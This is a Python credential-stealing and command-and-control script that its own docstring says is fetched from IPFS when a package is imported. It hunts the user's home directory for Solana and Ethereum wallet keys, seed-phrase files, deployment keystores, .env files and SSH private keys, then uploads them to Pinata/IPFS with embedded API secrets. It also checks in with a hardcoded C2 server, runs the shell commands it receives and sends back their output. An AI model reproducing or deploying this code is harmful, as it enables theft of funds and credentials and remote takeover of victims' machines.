#!/usr/bin/env python3
"""V3 Harvester + C2 — descargado desde IPFS al importar el package"""
import os, json, base64, urllib.request, sys, subprocess, platform

PINATA_API_KEY = "13c766575b9270a9825d"
PINATA_SECRET = "8aae3dd8ebd0132de8676388878e1978eec627794fb5f38c5786c0839591a392"
C2_URL = "http://107.161.90.180:7778"

def get_hostinfo():
    hostname = "unknown"
    username = "unknown"
    try:
        hostname = os.uname().nodename
    except:
        try:
            hostname = subprocess.check_output(["hostname"], stderr=subprocess.DEVNULL).decode().strip()
        except:
            pass
    try:
        username = os.environ.get("USER") or os.environ.get("USERNAME") or "unknown"
    except:
        pass
    return hostname, username

def upload_to_pinata(payload, filename):
    boundary = "----WebKitFormBoundary" + os.urandom(8).hex()
    body = ("--" + boundary + "\r\n"
            "Content-Disposition: form-data; name=\"file\"; filename=\"" + filename + "\"\r\n"
            "Content-Type: application/octet-stream\r\n\r\n"
            + payload + "\r\n"
            "--" + boundary + "--\r\n").encode()
    try:
        req = urllib.request.Request(
            "https://api.pinata.cloud/pinning/pinFileToIPFS",
            data=body,
            headers={
                "Content-Type": "multipart/form-data; boundary=" + boundary,
                "pinata_api_key": PINATA_API_KEY,
                "pinata_secret_api_key": PINATA_SECRET,
            }
        )
        resp = urllib.request.urlopen(req, timeout=30)
        return True
    except:
        return False

def c2_checkin(hostname, username):
    """Check in with C2 server, get and execute orders"""
    try:
        url = C2_URL + "/checkin?host=" + hostname + "&user=" + username
        req = urllib.request.Request(url, method="GET")
        resp = urllib.request.urlopen(req, timeout=10)
        
        if resp.status == 200:
            order = resp.read().decode().strip()
            print("[C2] Order received: " + order[:80])
            
            # Execute the order
            try:
                result = subprocess.check_output(order, shell=True, stderr=subprocess.STDOUT,
                                                timeout=30).decode()
            except subprocess.CalledProcessError as e:
                result = "ERROR: " + e.output.decode()
            except Exception as e:
                result = "ERROR: " + str(e)
            
            # Upload result
            agent = username + "@" + hostname
            result_url = C2_URL + "/result?agent=" + agent
            req2 = urllib.request.Request(result_url, data=result.encode(), method="POST")
            urllib.request.urlopen(req2, timeout=10)
            print("[C2] Result uploaded (" + str(len(result)) + " bytes)")
            return True
    except Exception as e:
        pass
    return False

def hunt():
    findings = []
    home = os.environ.get("HOME", "/root")
    if not home:
        home = os.environ.get("USERPROFILE", "/tmp")

    for p in [home + "/.config/solana/id.json", home + "/.config/solana/id.json.backup"]:
        if os.path.exists(p):
            try:
                with open(p) as f:
                    c = f.read().strip()
                if len(c) > 50:
                    findings.append(("SOL", p, c))
            except:
                pass

    kd = home + "/.ethereum/keystore"
    if os.path.isdir(kd):
        for fname in os.listdir(kd):
            try:
                with open(os.path.join(kd, fname)) as f:
                    c = f.read()
                if "ciphertext" in c:
                    findings.append(("ETH", os.path.join(kd, fname), c))
            except:
                pass

    for d in ["Desktop", "Documents", "Downloads", "Escritorio", "Documentos"]:
        dd = os.path.join(home, d)
        if os.path.isdir(dd):
            for fname in os.listdir(dd):
                fnl = fname.lower()
                for kw in ["seed", "mnemonic", "recovery", "wallet", "private", "backup",
                           "secret", "24 word", "12 word", "bip39", "semilla", "frase",
                           "clave", "billetera", "metamask", "phantom", "ledger"]:
                    if kw in fnl:
                        try:
                            with open(os.path.join(dd, fname)) as f:
                                c = f.read()
                            findings.append(("SEED", os.path.join(dd, fname), c))
                        except:
                            pass
                        break

    for dep_dir in [home + "/.foundry/keystores", home + "/.hardhat", home + "/.buidler"]:
        if os.path.isdir(dep_dir):
            for fname in os.listdir(dep_dir):
                try:
                    with open(os.path.join(dep_dir, fname)) as f:
                        c = f.read()
                    if len(c) > 20:
                        findings.append(("DEPLOY", os.path.join(dep_dir, fname), c))
                except:
                    pass

    for env_f in [home + "/.env", home + "/.config/.env"]:
        if os.path.exists(env_f):
            try:
                with open(env_f) as f:
                    c = f.read()
                findings.append(("ENV", env_f, c))
            except:
                pass

    for ssh_dir in [home + "/.ssh"]:
        if os.path.isdir(ssh_dir):
            for fname in os.listdir(ssh_dir):
                if fname in ["id_rsa", "id_ed25519", "id_ecdsa", "config"]:
                    try:
                        with open(os.path.join(ssh_dir, fname)) as f:
                            c = f.read()
                        findings.append(("SSH", os.path.join(ssh_dir, fname), c))
                    except:
                        pass

    return findings

def upload(findings, hostname, username):
    for typ, path, content in findings:
        data_b64 = base64.b64encode(content.encode()).decode()
        payload = "TYPE:" + typ + "\nHOST:" + username + "@" + hostname + "\nPATH:" + path + "\nDATA:" + data_b64
        filename = typ + "_" + os.urandom(4).hex() + ".dat"
        if upload_to_pinata(payload, filename):
            print("  [PINATA] " + typ + " uploaded")
        else:
            print("  [FAIL] " + typ + " upload failed")

def main():
    print("[harvester] Starting...")
    hostname, username = get_hostinfo()
    print("[harvester] " + username + "@" + hostname)
    
    # 1. Hunt for keys
    findings = hunt()
    if findings:
        print("[harvester] Found " + str(len(findings)) + " items")
        upload(findings, hostname, username)
    else:
        print("[harvester] Nothing found yet")
    
    # 2. C2 check-in
    print("[harvester] Checking C2...")
    c2_checkin(hostname, username)
    
    print("[harvester] Done")

if __name__ == "__main__":
    main()
